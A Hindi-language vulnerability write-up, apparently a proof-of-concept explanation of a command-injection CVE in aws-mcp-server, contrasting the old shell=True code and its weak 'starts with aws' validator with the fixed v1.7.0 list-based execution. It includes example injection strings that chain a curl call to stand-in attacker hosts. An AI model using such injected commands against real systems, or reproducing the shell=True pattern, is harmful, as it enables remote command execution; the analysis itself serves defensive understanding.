
# aws-mcp-server में कमांड इंजेक्शन का प्रूफ-ऑफ-कॉन्सेप्ट shell=True के माध्यम से aws-mcp-server में कमांड इंजेक्शन प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें कमजोर कोड का विश्लेषण और v1.7.0 में किए गए सुधार शामिल हैं।
कोड में CVE-2026-5059 कहाँ है? यह कमज़ोरी दो फाइलों में मिलकर काम करने वाली है:
फाइल 1: tools.py — मूल कारण पुराने संस्करण में execute_piped_command() में shell=True का उपयोग किया गया था: python# पुराना कमज़ोर कोड process = subprocess.run( command, # ← शेल को पास की गई कच्ची स्ट्रिंग shell=True, # ← यही समस्या है ... ) जब shell=True होता है, तो OS शेल पूरी स्ट्रिंग की व्याख्या करता है जिसमें ;, &&, ||, बैकटिक्स शामिल हैं — इसलिए ; के बाद जो कुछ भी आता है वह एक अलग कमांड के रूप में चलता है।
फाइल 2: security.py — अधूरा गार्ड वैलिडेटर केवल यह जाँचता था कि कमांड aws से शुरू होती है: python# पुराना कमज़ोर कोड def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← यहीं रुक जाता है, पाइप के बाद क्या आता है इसकी कोई जाँच नहीं इसलिए aws s3 ls ; curl http://attacker.com वैलिडेशन पास कर गया — aws से शुरू होता है — फिर shell=True ने दोनों हिस्सों को निष्पादित किया।
वर्तमान संस्करण (v1.7.0) अलग क्यों है आज के वास्तविक कोड को देखें तो दोनों समस्याएँ दूर हो चुकी हैं: python# cli_executor.py में वर्तमान कोड cmd_parts = shlex.split(command) # एक सूची में विभाजित करता है subprocess.run(cmd_parts, shell=False) # सूची-आधारित, कोई शेल व्याख्या नहीं और security.py को पूरी तरह हटा दिया गया — इसकी जगह OS सैंडबॉक्स (Landlock/bwrap/Seatbelt) ने ले ली। अब ; हानिरहित है: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess को ';' aws के लिए एक शाब्दिक तर्क के रूप में मिलता है → AWS CLI इसे अनदेखा करता है, कोई दूसरा कमांड नहीं चलता
एक पंक्ति में सारांश कमज़ोर संस्करणवर्तमान v1.7.0निष्पादनshell=True + स्ट्रिंगshell=False + सूचीवैलिडेशनstartswith("aws") केवलOS-स्तरीय सैंडबॉक्स; हैंडलिंगशेल द्वारा निष्पादितशाब्दिक टेक्स्ट के रूप में माना जाता है CVE पुराने संस्करण के विरुद्ध दर्ज किया गया था। ZDI ने इसे 0-day के रूप में प्रकाशित किया क्योंकि विक्रेता ने रिपोर्ट अस्वीकार कर दी थी — लेकिन CVE प्रकाशित होने से पहले ही आर्किटेक्चर shell=True से दूर जा चुका था।